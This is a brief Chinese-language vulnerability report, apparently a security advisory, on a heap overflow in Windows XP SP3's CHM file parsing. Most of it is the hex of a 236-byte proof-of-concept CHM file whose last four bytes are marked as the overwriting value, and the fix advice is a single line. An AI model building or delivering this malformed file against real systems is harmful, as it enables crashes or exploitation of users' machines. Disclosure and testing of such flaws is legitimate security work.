Windows XP在处理CHM文件的时候,由于解析问题,造成堆溢出。
测试环境:winxp sp3
poc构造:
将下列数据以16进制的形式保存在文件中。大小为:0ECH(236字节)命名为poc.CHM
注意我构造的最后4个字节。就是34333231H
49545346030000006000000000000000
000000000000000010FD017CAA7BD011
9E0C00A0C922E6EC11FD017CAA7BD011
9E0C00A0C922E6EC0000000000000000
00000000000000006000000000000000
8000000000000000E000000000000000
49545350000000000000000000000000
2C000000000000000100000000000000
00000000000000000000000000000000
000000006A92025D2E21D0119DF900A0
C922E6EC000000000000000000000000
00000000504D474C0000000000000000
0000000000000000143A3A6461746173
706163652F6E616D656C697374000010
000000000000000031323334
修复方案:
修改文件解析的相关代码